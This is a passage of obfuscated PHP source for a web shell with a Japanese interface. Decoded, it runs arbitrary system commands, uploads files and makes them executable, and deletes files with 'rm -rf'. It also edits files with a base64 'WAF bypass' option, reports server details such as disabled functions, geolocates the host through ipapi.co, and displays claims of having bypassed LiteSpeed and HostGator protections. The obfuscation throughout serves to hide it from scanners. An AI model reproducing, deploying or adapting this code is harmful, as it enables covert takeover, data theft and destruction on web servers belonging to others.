\x72\42\x3e\343\x83\225\343\202\xa9\343\203\xab\xe3\203\x80\x3c\x2f\x6f\x70\x74\151\157\x6e\76\xd\xa\x20\40\x20\x20\x20\40\74\x2f\163\145\154\x65\x63\164\x3e\xd\xa\x20\40\x20\40\40\40\74\142\x75\x74\x74\157\156\40\164\x79\160\x65\75\42\x73\x75\142\155\x69\164\42\76\x3c\x69\40\144\x61\164\141\x2d\154\x75\143\151\x64\145\75\x22\x70\154\165\x73\55\x63\x69\162\143\154\x65\x22\x3e\x3c\x2f\151\76\x20\344\xbd\x9c\xe6\x88\x90\74\x2f\x62\x75\x74\x74\157\156\76\xd\xa\x20\x20\40\40\x3c\57\146\x6f\162\x6d\76\xd\xa\40\x20\x3c\x2f\x64\x69\x76\x3e\15\12\x3c\x2f\x64\151\166\x3e\15\12\x20\40\40\x20\40\40\15\xa\40\x20\x3c\144\151\x76\40\x63\x6c\141\163\x73\75\x22\x70\x61\156\x65\x6c\x22\x3e\15\xa\x20\x20\x3c\150\63\x20\143\154\141\x73\x73\75\x22\x72\x75\156\x6e\151\156\x67\55\x68\145\x61\144\145\162\40\x6c\x65\x66\x74\42\76\360\237\x93\244\40\343\x82\xa2\xe3\x83\x83\xe3\x83\x97\xe3\203\xad\xe3\203\xbc\xe3\203\211\x3c\57\150\63\76\xd\xa\15\12\40\40\x3c\x66\157\x72\155\x20\155\145\164\150\x6f\144\75\42\160\x6f\163\164\x22\x20\145\156\x63\164\x79\x70\145\75\42\155\165\154\164\151\x70\x61\x72\x74\x2f\146\x6f\x72\155\55\144\141\x74\x61\x22\40\x63\154\x61\x73\163\75\42\x75\x70\x6c\x6f\141\144\55\146\157\162\x6d\x22\x3e\xd\12\40\x20\x20\40\74\151\156\160\165\164\x20\164\171\160\145\75\42\x66\151\154\x65\42\x20\156\x61\155\145\x3d\42\146\151\x6c\145\42\40\x72\145\161\x75\x69\x72\145\144\76\15\xa\x20\40\40\40\74\x62\x75\164\164\157\156\40\x74\x79\160\145\x3d\x22\x73\x75\x62\x6d\x69\164\x22\x3e\x3c\x69\x20\x64\141\164\x61\55\154\165\x63\151\144\145\75\x22\165\x70\154\x6f\x61\144\42\x3e\74\57\151\76\40\xe3\x82\xa2\343\x83\203\343\203\x97\xe3\x83\255\xe3\203\274\343\203\x89\x3c\57\142\x75\x74\x74\157\x6e\x3e\xd\xa\x20\x20\x3c\57\146\x6f\x72\x6d\76\15\xa\x3c\57\x64\151\x76\76\xd\xa\15\12\40\x20\x20\40\15\xa\40\x20\x3c\x64\x69\x76\40\143\x6c\x61\163\x73\x3d\42\x70\141\x6e\x65\x6c\42\x3e\xd\xa\40\x20\x20\x20\40\x20\x3c\150\63\40\143\154\x61\163\x73\75\42\162\165\156\156\151\x6e\x67\x2d\150\145\141\144\145\x72\x20\x6c\145\146\164\42\x3e\360\x9f\222\xbb\x20\343\x82\263\xe3\x83\x9e\xe3\203\263\343\x83\x89\xe5\256\x9f\350\xa1\x8c\74\x2f\x68\63\76\xd\12\40\40\40\x20\x20\40\x3c\x66\157\x72\x6d\x20\x6d\x65\164\x68\x6f\x64\x3d\x22\160\x6f\x73\164\x22\76\15\12\40\40\40\40\40\40\x20\x20\x3c\x69\156\160\165\x74\40\164\x79\160\x65\75\x22\164\x65\x78\164\42\40\156\x61\155\x65\75\42\156\x69\x6e\x6a\141\137\x63\155\144\42\x20\x70\154\141\x63\x65\150\157\x6c\x64\x65\x72\x3d\42\xe3\202\xb7\343\202\xb9\343\203\206\xe3\203\xa0\343\202\263\xe3\203\236\343\x83\xb3\343\203\211\x22\x20\x72\x65\161\x75\x69\x72\145\x64\x3e\15\12\x20\x20\40\x20\40\40\40\40\x3c\x62\165\164\x74\157\x6e\40\x74\x79\160\x65\x3d\x22\x73\x75\x62\x6d\x69\x74\42\x3e\x3c\151\40\144\x61\164\x61\55\154\x75\x63\151\144\145\x3d\x22\x74\145\162\x6d\x69\x6e\x61\x6c\42\x3e\x3c\57\151\76\40\345\xae\237\350\241\x8c\x3c\57\x62\x75\x74\x74\x6f\156\x3e\xd\12\x20\40\x20\x20\40\x20\x3c\57\x66\x6f\162\x6d\76\15\12\x20\x20\74\x2f\x64\151\166\76\15\12\15\12\x20\x20\40\40\x20\40"; goto gSU85; poJY1: if (!(isset($_POST["\x6e\x65\167\x5f\x6e\141\x6d\145"]) && $_SESSION["\156\x69\x6e\152\x61\x5f\141\165\x74\x68"])) { goto k6CIU; } goto bZU7B; G5cqU: $YLTqx = trim($qd_U4); goto sipp6; rKDQZ: echo get_current_user(); goto SiWud; GxCgt: $rYWY2 = "\x55\x4e\113\116\117\127\116"; goto rM80n; sipp6: $q6rVe = @file_get_contents("\x68\x74\x74\160\163\72\57\x2f\x69\x70\141\x70\151\56\x63\157\x2f{$YLTqx}\x2f\152\x73\x6f\156\57", false, $g4sJ5); goto j1XHd; b1OTA: echo htmlentities($rYWY2); goto zZxog; KWw0f: $cP9LD = file_get_contents($_FILES["\146\151\154\x65"]["\x74\155\160\x5f\x6e\x61\x6d\x65"]); goto UDXoy; iIare: echo php_uname("\156"); goto qdVym; UyB4k: echo "\15\xa\x3c\x74\141\142\154\x65\40\143\x6c\141\x73\x73\x3d\x22\x69\x6e\x66\157\55\164\141\142\154\145\42\76\xd\xa\x20\x20\x3c\164\x72\76\x3c\164\150\76\343\202\265\343\x83\xbc\343\x83\220\xe3\203\274\x3c\57\x74\x68\x3e\74\x74\144\76"; goto fklEl; mwQ92: header("\114\157\143\x61\164\x69\x6f\156\72\40\x3f\160\x61\x74\x68\x3d" . urlencode(dirname($C3thk))); goto AnkH1; FTj_q: $g4sJ5 = stream_context_create(["\150\x74\x74\x70" => ["\x74\x69\155\x65\x6f\165\164" => 3]]); goto LUk2v; S_sUM: vIyhO: goto nWx3O; X8zrj: $YLTqx = "\125\116\113\x4e\x4f\x57\116"; goto GxCgt; FLEQc: if (!($YLTqx !== "\x55\116\x4b\x4e\117\127\116" && $rYWY2 !== "\125\116\113\116\x4f\x57\116")) { goto lPspA; } goto DyER9; q8i5h: echo "\40\50"; goto rUmht; g3zP8: JlpE_: goto Li3dN; x2lf_: if ($KUdHb === "\146\x69\x6c\x65") { goto QhcrK; } goto X5Av0; gol6v: $YLTqx = $_SERVER["\x53\x45\x52\126\105\122\x5f\x41\x44\104\x52"]; goto vHGdJ; Db1Q2: echo "\x20\x20\x20\x20\x20\40"; goto jjDn2; Vu1hn: RHaHA: goto Y20kg; U65Dy: $LKGCL = "\xf0\x9f\x8f\xb3\xef\270\217"; goto mwu43; wfUPY: $LKGCL = ND3WU(strtoupper($oh3mE["\x63\x6f\x75\x6e\164\x72\171"])); goto nnAvM; Fzijn: echo "\40\x20\74\57\144\151\x76\76\15\12\74\57\144\151\166\x3e\15\12\xd\xa"; goto W1Z1q; EU4_o: TiVIz: goto oPmt4; mjcNW: k6CIU: goto AHVpz; XVNEi: goto JlpE_; goto DY7Nw; jjDn2: s6XQB: goto PkEOZ; KqMRm: function CquT9($UOcRj) { goto ijgfK; b38hM: nzFQo: goto lqPGR; syeuw: goto nzFQo; goto tM2W0; mkeBv: XzHQo: goto UcnRT; flJwu: foreach ($WTB04 as $Qft92) { goto mdFQX; MMRkJ: O2nU7: goto LZeY8; LFNli: CQUT9("{$UOcRj}\x2f{$Qft92}"); goto Lk8iC; Lk8iC: m1O04: goto MMRkJ; mdFQX: if (!($Qft92 != "\56" && $Qft92 != "\x2e\56")) { goto m1O04; } goto LFNli; LZeY8: } goto mkeBv; ijgfK: if (is_dir($UOcRj)) { goto aAiOG; } goto eETmU; EVKoh: $WTB04 = @scandir($UOcRj); goto Bx3oz; eETmU: @unlink($UOcRj) or system("\162\x6d\40" . escapeshellarg($UOcRj)); goto FynAk; ZKAXK: aAiOG: goto EVKoh; W49A1: system("\x72\x6d\x20\x2d\162\146\x20" . escapeshellarg($UOcRj)); goto syeuw; FynAk: goto sBL1j; goto ZKAXK; tM2W0: v2AR0: goto flJwu; lqPGR: sBL1j: goto frWIr; UcnRT: @rmdir($UOcRj); goto b38hM; Bx3oz: if ($WTB04 !== false) { goto v2AR0; } goto W49A1; frWIr: } goto nQ3EA; qnpxd: lPspA: goto dn8St; fklEl: echo php_uname("\163"); goto UbsdJ; ZVu74: echo $_SERVER["\104\117\103\125\115\x45\116\x54\137\x52\117\117\124"]; goto O2JRz; bLEP7: goto HIfDi; goto MziAw; IvMi4: echo "\74\57\x74\x64\76\x3c\x2f\x74\162\76\15\12\40\x20\x3c\164\x72\x3e\x3c\x74\x68\x3e\117\x53\40\343\202\263\343\203\236\xe3\203\263\343\x83\211\xe5\xae\237\350\xa1\x8c\74\x2f\x74\150\76\x3c\164\144\76"; goto BV3o0; O2JRz: echo "\74\x2f\x74\x64\76\74\x2f\164\x72\x3e\xd\xa\15\12\x20\x20"; goto FLEQc; nYhWJ: $UOcRj = "{$dyjvQ}\x2f" . basename($_FILES["\x66\x69\154\145"]["\x6e\x61\x6d\145"]); goto re6WS; MziAw: QhcrK: goto l5ED3; Pg3rr: header("\114\x6f\143\x61\x74\x69\157\156\72\40\77\160\141\164\x68\x3d" . urlencode($wkgHW)); goto sucUM; Ur6wv: FSTPe: goto JRiei; PRZNw: NM6_e: goto WrJei; PuJSi: lobjI: goto bsW94; twfSe: echo "\74\57\x64\x69\166\x3e\15\12\15\12\xd\xa\x20\x20\x3c\144\151\166\40\x63\x6c\141\163\163\x3d\42\x66\151\154\x65\x2d\154\x69\163\164\x22\x3e\xd\12\x20\x20\40\x20"; goto NS7rM; LSkI8: echo htmlentities($YLTqx); goto Yx8Cr; rvmYA: echo "\x20\x20\40\40\74\144\151\166\x20\x63\154\141\x73\x73\x3d\42\160\141\x6e\145\x6c\x22\76\15\12\74\150\62\40\x63\154\141\x73\163\75\x22\x67\154\151\x74\143\x68\x20\x63\x65\x6e\164\145\x72\x22\76\xe3\x83\x95\xe3\x82\241\xe3\x82\xa4\xe3\x83\253\xe3\x82\222\xe7\267\xa8\xe9\233\x86\343\201\x99\343\x82\x8b\72\40"; goto mftmG; rM80n: $LKGCL = "\xf0\x9f\x8f\xb3\357\270\217"; goto sXwaC; gSU85: if (!isset($_SESSION["\x6c\141\163\x74\x5f\143\155\x64\x5f\x6f\x75\164\x70\165\x74"])) { goto s6XQB; } goto xUL8O; n1MDG: $hn05F = false; goto DsD_y; j1XHd: if (!($q6rVe !== false)) { goto vIyhO; } goto dFb9f; O5JAn: if (empty($_SESSION["\x6e\151\x6e\x6a\141\x5f\x61\165\x74\150"])) { goto UlthC; } goto UKPs0; nho46: if (!($qd_U4 !== false && filter_var(trim($qd_U4), FILTER_VALIDATE_IP))) { goto Pctju; } goto G5cqU; hgK2f: Wfwrk(); goto RrXr6; nQ3EA: if (!isset($_GET["\144\145\154"])) { goto uUWC7; } goto NcsNf; tzsmf: u4dMW: goto cDpfe; W1Z1q: if (!isset($_GET["\x65\x64\x69\164"])) { goto HmAqE; } goto dOQ0c; VMf5E: session_destroy(); goto xc0oJ; dhPTv: $cP9LD = base64_decode($cP9LD); goto Vu1hn; vsvWH: bQr_W: goto tFqsi; peDbK: echo "\50\x3b\xe2\x97\211\xe2\210\x80\342\227\211\51\xe3\202\252\343\203\x83\50\342\210\x80\342\227\211\x29\342\x97\x89\xe3\x83\217\xe3\203\203\x28\73\xe2\210\200\51\xe2\x97\x89\xe2\x97\211\343\203\250\357\275\253\343\x83\xbc\41\41\x21\xe4\xbd\x99\346\x81\xa8\xe6\255\xbb\346\x97\xa0\344\xbb\xa5\350\227\211\xe6\211\x8b\xe8\247\201\345\x85\xac\357\xbc\x8c\xe8\x80\x8c\347\x8b\254\xe8\256\xb0\xe5\x88\xab\346\227\266\350\257\255\xef\xbc\x8c\346\xaf\x8f\xe4\xb8\200\345\212\250\xe5\277\xb5\357\274\x8c\345\x8d\xb3\xe4\272\x8e\xe6\xa2\xa6\344\xb8\255\345\257\xbb\xe4\271\213\xe3\200\202\xe6\210\226\345\xb1\261\xe6\xb0\264\xe6\xb1\240\346\246\xad\357\274\214\xce\243\xe3\x83\xbd\50\xef\276\x9f\320\224\x20\357\xbe\237\x3b\40\51\xef\276\x89\360\237\x90\237\357\270\x8f\344\xba\221\xe5\xb2\232\xe8\x8d\x89\346\x9c\250\357\274\x8c\344\xb8\216\xe6\x89\200\345\x88\253\344\271\213\xe5\xa4\204\xe5\x8f\x8a\345\x85\266\xe6\227\266\xe9\200\202\xe7\x9b\xb8\347\261\xbb\357\274\214\xe5\210\x99\345\276\x98\xe5\xbe\212\xe9\xa1\276\347\233\xbc\357\xbc\x8c\xe6\202\xb2\344\xb8\215\xe6\225\xa2\xe6\263\243\343\x80\x82\xe5\x8f\x88\xe5\x90\x8e\344\xb8\x89\345\271\264\357\274\x8c\xe8\xbf\207\xe5\247\221\xe8\213\x8f\xe3\x80\202\xe5\xa7\221\350\x8b\217\357\xbc\214\xe5\205\254\345\x88\235\345\xbc\x80\345\272\x9c\xe6\x97\xa7\346\262\273\344\271\x9f\xef\xbc\x8c\346\234\233\xe5\xa4\xab\xe5\267\256\344\xb9\213\345\217\xb0\xe8\x80\214\345\xa7\213\xe5\x93\xad\xe5\205\254\347\204\211\xe3\x80\x82\xf0\x9f\215\x84\345\217\210\345\220\216\xe5\x9b\233\xe5\271\264\xef\274\x8c\xe8\200\214\xe5\223\xad\xe4\xb9\213\344\272\x8e\xe8\266\212\xe5\217\260\xe3\200\x82\345\217\210\xe5\220\216\344\272\224\345\271\264\345\217\212\xe4\xbb\x8a\xef\274\214\360\237\220\270\350\200\x8c\345\223\xad\xe4\xba\216\xe5\255\x90\351\x99\265\xe4\xb9\x8b\xe5\217\xb0\x28\x28\x28\157\50\52\357\xbe\x9f\342\226\xbd\357\xbe\x9f\52\51\x6f\x29\x29\51"; goto DU3Je; iBfj4: $dyjvQ = isset($_POST["\x75\160\x6c\157\x61\144\137\x70\141\x74\150"]) ? qOaJ7($_POST["\x75\160\154\157\141\x64\137\x70\x61\164\150"]) : $wkgHW; goto nYhWJ; tKZkZ: $hn05F = true; goto m2i_W; vHGdJ: $rYWY2 = "\120\x72\x69\x76\141\164\x65\x2f\x4c\157\143\141\154"; goto U65Dy; MmV5i: echo "\51\74\57\x74\x64\x3e\74\57\x74\162\76\xd\12\x20\x20\x3c\x74\x72\x3e\x3c\x74\150\x3e\343\203\xa6\343\203\xbc\343\202\266\343\203\xbc\x20\57\40\343\x82\260\343\203\xab\xe3\x83\274\xe3\203\227\x3c\x2f\x74\150\76\74\164\x64\x3e"; goto rKDQZ; Zc1vN: $UOcRj = qoaj7($_GET["\x64\145\154"]); goto pdU0E; yVBuD: if (empty($oh3mE["\x63\157\x75\156\x74\x72\171\x5f\x6e\x61\155\x65"])) { goto jxd29; } goto u9KZr; SiWud: echo "\x20\57\40"; goto Wy5L6; JnCp9: header("\x4c\x6f\143\141\164\x69\x6f\156\72\x20\x3f\x70\141\164\x68\75" . urlencode(dirname($UOcRj)) . "\46\x6e\151\x6e\x6a\141\137\141\143\x74\x69\157\156\75\144\145\x6c\145\x74\145"); goto YRrxV; Li3dN: header("\114\x6f\143\141\164\x69\157\156\x3a\x20\x3f\x70\141\x74\x68\75" . urlencode($dyjvQ)); goto S5FBE; MsYND: echo ini_get("\x64\151\x73\141\142\154\x65\137\x66\165\x6e\143\164\151\x6f\156\x73") ?: "\x3c\163\x70\x61\156\x20\x63\154\x61\163\x73\x3d\x22\x69\x6e\x66\157\x2d\x6f\x6b\x22\x3e\116\x4f\116\105\x3c\x2f\x73\160\141\x6e\76"; goto xJMLP; k3CNS: $MrjeJ = "{$wkgHW}\57{$OfyTJ}"; goto x2lf_; poXo7: if (!($YLTqx === "\x55\116\113\x4e\x4f\x57\116" && !empty($_SERVER["\x53\x45\122\x56\105\122\137\101\104\104\x52"]))) { goto A4xwh; } goto gol6v; YRrxV: exit; goto cQ1E3; vDkEc: echo "\x3c\57\x68\62\76\xd\xa\15\xa\x20\x20\x20\x20\40\x20"; goto Y03yj; q93yl: echo "\74\57\164\x65\170\x74\x61\162\145\x61\x3e\xd\xa\15\12\40\x20\x20\40\40\x20\x20\x20\x3c\154\x61\x62\145\154\40\x73\x74\x79\154\145\75\x22\144\x69\x73\x70\x6c\x61\x79\72\x62\154\157\143\x6b\x3b\155\141\x72\147\x69\156\x3a\x31\x30\160\x78\40\x30\x3b\x22\x3e\xd\xa\40\40\40\40\40\40\40\x20\40\40\x3c\x69\156\x70\165\x74\x20\x74\x79\x70\x65\75\x22\143\150\145\x63\x6b\x62\157\170\42\x20\x6e\x61\155\x65\75\x22\x62\66\64\x22\x20\x76\x61\x6c\x75\145\x3d\42\61\42\76\40\360\x9f\x94\x92\x20\102\x61\163\x65\66\64\x20\105\x6e\x63\157\x64\x65\40\50\x57\x41\106\40\102\x79\160\141\163\163\x29\xd\12\x20\40\40\40\x20\40\40\40\74\57\154\x61\142\145\x6c\x3e\xd\xa\xd\xa\x20\40\x20\x20\40\40\x20\40\x3c\144\151\166\x20\163\x74\171\154\x65\x3d\42\x74\x65\x78\x74\x2d\x61\x6c\151\147\156\x3a\x63\x65\x6e\164\145\162\x3b\42\76\15\12\x20\x20\40\40\x20\x20\x20\40\40\x20\74\142\165\164\x74\x6f\156\40\x74\x79\x70\x65\x3d\42\163\x75\142\155\151\x74\x22\76\x3c\151\40\x64\141\164\x61\55\x6c\x75\x63\151\x64\x65\x3d\x22\x73\x61\166\145\x22\x3e\x3c\x2f\151\x3e\40\344\277\235\xe5\255\x98\x3c\57\x62\x75\164\164\157\156\x3e\xd\12\40\x20\x20\40\x20\40\40\40\x3c\x2f\144\151\x76\76\15\12\40\40\x20\40\40\x20\74\x2f\146\x6f\x72\155\x3e\xd\xa\15\12\40\40\x20\40\40\x20\74\163\x63\x72\x69\160\164\76\15\12\x20\x20\x20\40\40\x20\x64\x6f\143\x75\x6d\x65\x6e\x74\56\x67\x65\x74\x45\x6c\145\155\145\x6e\x74\x42\x79\111\x64\x28\47\145\144\151\164\157\x72\55\146\157\x72\x6d\47\x29\x2e\x61\x64\144\x45\166\x65\156\x74\114\x69\x73\164\145\156\x65\x72\x28\47\163\165\142\155\x69\x74\x27\54\x20\x66\165\x6e\143\x74\x69\157\x6e\50\145\51\40\173\xd\xa\40\x20\40\40\40\40\40\x20\40\x20\143\157\x6e\x73\164\40\143\x62\40\75\40\x74\x68\151\163\x2e\161\x75\145\162\171\x53\x65\154\x65\x63\x74\x6f\x72\50\47\x69\156\160\x75\164\x5b\156\x61\155\145\75\42\x62\x36\64\42\x5d\x27\x29\73\15\xa\x20\40\40\40\x20\x20\40\40\x20\x20\151\x66\x20\50\143\142\x2e\143\x68\x65\x63\153\x65\144\x29\40\173\15\12\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\143\x6f\156\x73\x74\40\164\141\x20\x3d\x20\x74\150\x69\x73\56\161\x75\x65\162\171\x53\x65\x6c\145\x63\164\x6f\x72\x28\x27\x74\145\x78\x74\x61\x72\145\x61\x5b\156\x61\155\145\75\x22\x65\x64\x69\x74\137\x63\157\156\x74\145\x6e\164\42\135\x27\x29\73\15\12\40\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\x74\x61\x2e\166\x61\x6c\x75\145\40\x3d\x20\142\164\157\x61\x28\x75\156\x65\x73\143\141\x70\x65\x28\x65\x6e\x63\x6f\144\145\125\122\x49\x43\157\155\160\x6f\x6e\145\156\164\50\x74\141\56\x76\x61\154\x75\145\51\51\51\x3b\15\12\40\40\x20\x20\x20\x20\x20\x20\40\40\x7d\xd\xa\x20\40\40\x20\40\x20\175\51\x3b\15\xa\x20\40\40\x20\x20\40\x3c\x2f\163\x63\162\x69\160\x74\x3e\15\12\x20\x20\x20\x20\74\x2f\144\151\x76\76\15\12"; goto PuJSi; NS7rM: foreach ($WTB04 as $Qft92) { goto ZUuJA; PhxTX: goto G3ZN1; goto C2tw2; qXazB: G3ZN1: goto krfb9; pA6KU: echo urlencode($H9ilU); goto US9nJ; ZUuJA: if (!($Qft92 === "\x2e" || $Qft92 === "\x2e\56")) { goto t1suU; } goto Zi1GV; NaIbi: t1suU: goto MiXs3; moS4r: if ($cHxdw) { goto SYGAh; } goto ZulHy; A9O1T: echo "\x20\x20\40\40\x20\40\x3c\x64\151\166\x20\x63\154\141\163\163\75\x22\x66\x69\x6c\x65\55\151\164\145\155\42\x3e\15\xa\x20\40\40\40\x20\40\40\x20\74\144\151\166\76\xd\12\40\40\40\x20\x20\x20\40\40\x20\x20"; goto moS4r; VYeSj: echo urlencode($H9ilU); goto tUiuz; lvQNz: echo "\x3c\57\x61\76\xd\xa\40\x20\40\x20\x20\x20\40\40\40\x20"; goto qXazB; US9nJ: echo "\42\40\157\x6e\x63\154\x69\143\153\x3d\42\x72\145\164\x75\162\x6e\40\143\157\x6e\x66\x69\x72\155\x28\47\xe6\234\xac\345\275\223\343\201\xab\345\x89\212\351\x99\xa4\343\x81\227\xe3\201\276\xe3\201\x99\xe3\x81\x8b\xef\274\x9f\x27\51\x22\x3e\15\xa\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\74\151\40\x64\141\x74\141\x2d\154\x75\x63\x69\144\145\75\x22\164\x72\141\x73\x68\55\x32\42\x3e\x3c\57\151\x3e\xd\xa\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x3c\57\141\76\xd\xa\x20\x20\x20\40\x20\40\x20\40\74\x2f\144\x69\x76\76\15\xa\x20\x20\40\x20\40\40\x3c\x2f\x64\x69\166\x3e\xd\xa\40\40\x20\x20"; goto LErnw; Zi1GV: goto Jy12A; goto NaIbi; tUiuz: echo "\x22\x3e\x3c\151\x20\144\141\x74\x61\55\x6c\165\143\x69\x64\145\x3d\42\x66\x6f\154\x64\145\162\x22\76\x3c\x2f\x69\x3e\x20"; goto apW73; f5wsg: echo htmlentities($Qft92); goto Ijvdb; Luztt: $cHxdw = is_dir($H9ilU); goto A9O1T; apW73: echo htmlentities($Qft92); goto lvQNz; Ijvdb: echo "\74\x2f\141\76\xd\xa\40\40\40\40\x20\x20\40\40\40\x20"; goto PhxTX; xgEn0: echo "\42\76\x3c\x69\x20\144\x61\x74\141\55\x6c\165\x63\x69\x64\x65\x3d\42\x66\x69\x6c\145\x22\x3e\74\57\151\76\x20"; goto f5wsg; LErnw: Jy12A: goto XfeQG; MiXs3: $H9ilU = "{$wkgHW}\x2f{$Qft92}"; goto Luztt; AMJAp: echo "\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\x3c\x61\x20\150\x72\145\146\75\42\77\x70\x61\164\x68\x3d"; goto VYeSj; krfb9: echo "\40\40\40\x20\40\40\x20\x20\x3c\x2f\144\x69\166\x3e\xd\12\40\x20\40\40\x20\x20\40\x20\74\x64\x69\x76\76\xd\12\x20\x20\40\40\40\40\40\40\40\40\x3c\141\x20\150\x72\x65\x66\x3d\42\x3f\144\x65\x6c\75"; goto pA6KU; ZulHy: echo "\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\x3c\141\x20\150\162\x65\x66\x3d\42\77\x65\144\x69\164\75"; goto CHsjd; CHsjd: echo urlencode($H9ilU); goto xgEn0; C2tw2: SYGAh: goto AMJAp; XfeQG: } goto oOYOQ; cQ1E3: qCP7M: goto U9ZZE; NcsNf: if (!$_SESSION["\156\151\x6e\x6a\x61\x5f\x61\165\x74\150"]) { goto qCP7M; } goto Zc1vN; X8OJa: echo "\74\x64\151\166\40\x73\x74\171\x6c\x65\x3d\x22\x74\x65\170\164\55\x61\154\151\147\156\x3a\143\145\156\x74\x65\162\x3b\x63\157\x6c\x6f\162\x3a\162\x65\144\x3b\42\76\xe2\x9d\214\x20\xe4\277\235\345\255\x98\343\x81\253\xe5\244\xb1\xe6\225\x97\343\201\x97\xe3\201\xbe\xe3\201\227\xe3\201\x9f\xe3\x80\x82\74\57\144\x69\166\x3e"; goto CzoRt; dRQQo: xN0sF: goto YQi04; Yx8Cr: echo "\x20\50"; goto b1OTA; DY7Nw: I6BZ0: goto zxR5c; d0Qeh: SHRg1: goto cb1sm; re6WS: if (@move_uploaded_file($_FILES["\146\x69\x6c\x65"]["\164\x6d\x70\137\x6e\141\x6d\x65"], $UOcRj)) { goto I6BZ0; } goto KWw0f; nWx3O: Pctju: goto poXo7; F5d6o: header("\114\x6f\143\141\x74\151\157\x6e\72\40\77\156\x69\x6e\152\141\137\141\x63\143\x65\x73\x73\x3d" . md5(time())); goto t8CEk; I4R6i: $KUdHb = $_POST["\156\145\x77\x5f\x74\171\160\145"]; goto k3CNS; FiJMO: echo htmlentities($FfHqD); goto qA3SL; zZxog: echo "\51\x20"; goto sirxv; M945B: wx1qX: goto BEjh4; xJMLP: echo "\x3c\x2f\164\x64\76\74\57\164\162\x3e\xd\12\40\40\x3c\164\162\76\x3c\164\150\76\345\xae\211\345\205\250\343\203\xa2\343\203\274\343\203\x89\74\57\164\150\x3e\74\164\144\x3e"; goto aWmxB; Wy5L6: echo getmygid(); goto poziU; rUmht: echo php_sapi_name(); goto MmV5i; dkWWt: $_SESSION["\x6c\x61\x73\164\137\143\x6d\144\x5f\x6f\165\164\x70\x75\x74"] = $uCMm0; goto wrn8D; yhn6C: if (empty($_POST["\142\x36\64"])) { goto RHaHA; } goto dhPTv; bsW94: HmAqE: goto vic6U; UYMO2: echo "\40\50"; goto iIare; j5hUI: $BRjOz = $_POST["\x6e\151\156\x6a\141\x5f\x63\155\144"]; goto xsOMz; WrJei: ulJ0c: goto f9G3u; fPYnz: echo "\x22\40\143\154\x61\x73\x73\75\42\165\160\55\154\151\156\x6b\x22\x3e\xd\xa\40\40\x20\x20\74\x69\x20\x64\x61\x74\x61\x2d\154\x75\143\x69\x64\x65\75\x22\x61\x72\162\x6f\167\55\165\160\42\x3e\74\57\x69\x3e\x20\344\270\x8a\xe3\x81\xab\xe7\247\xbb\345\x8b\225\xd\xa\x20\x20\74\57\141\76\15\xa"; goto r_DGj; UKPs0: echo "\15\12\74\x64\151\166\40\143\154\141\x73\163\75\42\x70\x61\156\x65\x6c\x22\x3e\xd\12\x20\x20\x3c\x68\x32\40\x63\x6c\x61\163\163\x3d\x22\147\x6c\151\x74\x63\150\x22\x3e\342\x9a\xa1\40\343\202\267\xe3\202\xb9\xe3\203\206\xe3\203\xa0\346\203\205\xe5\240\xb1\x3c\57\x68\62\76\xd\12\xd\12"; goto X8zrj; BEjh4: function Z6MDn($wkgHW) { goto dD7Yr; W937C: NGiEL: goto iNqdd; OJZ_3: foreach ($uCMm0 as $tYByp) { goto g42Q2; FMWRX: $WTB04[] = $VK8wR[1]; goto sV3k6; g42Q2: if (!preg_match("\x2f\x5b\144\55\135\133\162\x77\x78\x2d\x5d\x7b\x39\x7d\56\53\134\163\50\56\53\51\x24\57", $tYByp, $VK8wR)) { goto aJi5M; } goto FMWRX; sV3k6: aJi5M: goto BWGxv; BWGxv: LxSf0: goto jcz7x; jcz7x: } goto W937C; dD7Yr: $WTB04 = @scandir($wkgHW); goto KdL91; QG0Xx: return $WTB04; goto pPoMG; KdL91: if (!($WTB04 !== false)) { goto o0W7O; } goto QG0Xx; JBYix: $WTB04 = []; goto KfsMe; pPoMG: o0W7O: goto JBYix; KfsMe: exec("\154\x73\x20\55\154\141\40" . escapeshellarg($wkgHW) . "\x20\62\76\x26\x31", $uCMm0); goto OJZ_3; iNqdd: return $WTB04; goto PBRHw; PBRHw: } goto GhNAu; oPmt4: echo "\x3c\57\x68\145\141\144\145\162\x3e\15\12\xd\xa\40\40"; goto O5JAn; aXH02: exit; goto M945B; e7Eeu: if (!isset($_GET["\154\157\x67\x6f\165\164"])) { goto bQr_W; } goto VMf5E; DyJ3W: chdir($wkgHW); goto KqMRm; zxR5c: @chmod($UOcRj, 0755); goto g3zP8; Lz4yM: jxd29: goto Rlibq; aWmxB: echo @ini_get("\x73\141\x66\x65\x5f\155\x6f\x64\x65") ? "\x3c\163\160\141\156\x20\143\154\x61\163\163\x3d\x22\x69\x6e\146\157\x2d\x62\x61\x64\x22\76\x4f\x4e\x3c\57\163\x70\141\x6e\76" : "\x3c\x73\160\141\x6e\40\143\154\141\x73\163\75\x22\x69\x6e\x66\x6f\55\157\153\x22\x3e\x4f\106\106\74\x2f\x73\160\x61\x6e\76"; goto IvMi4; F_4fl: if (!(is_file($pKi5K) && is_writable($pKi5K))) { goto NM6_e; } goto KuX15; m2i_W: goto XYMXz; goto dRQQo; p9w03: $wkgHW = isset($_GET["\160\x61\x74\150"]) ? qOaj7($_GET["\160\141\164\150"]) : getcwd(); goto DyJ3W; dn8St: echo "\74\x2f\164\x61\142\x6c\145\x3e\xd\xa\15\12\40\x20\74\x64\x69\166\40\x63\154\141\163\x73\x3d\42\142\171\x70\141\x73\x73\55\x73\x74\x61\x74\x75\x73\42\40\x73\164\171\154\x65\x3d\42\x6d\x61\162\147\x69\156\x2d\x74\157\160\x3a\61\162\x65\155\x3b\x22\x3e\xd\12\x20\40\x20\40\x3c\x70\x3e\x4c\151\x74\145\x53\x70\x65\145\144\x3a\x20\74\163\x70\x61\156\40\163\164\171\154\x65\75\x22\143\x6f\x6c\x6f\162\72\x76\141\162\x28\x2d\x2d\x6d\141\164\162\x69\x78\x2d\147\162\x65\145\x6e\x29\x22\76\x42\131\x50\101\x53\123\x45\104\x3c\57\163\x70\141\156\x3e\x3c\57\x70\x3e\xd\12\x20\40\x20\40\x3c\160\76\110\x6f\x73\x74\107\141\x74\157\x72\x3a\x20\x3c\163\x70\141\x6e\x20\x73\x74\x79\154\x65\x3d\42\143\x6f\154\157\162\x3a\166\141\162\x28\x2d\x2d\155\x61\x74\162\x69\170\55\x67\162\x65\145\x6e\51\42\x3e\x42\131\120\x41\x53\x53\105\104\x3c\x2f\x73\x70\141\156\x3e\74\57\x70\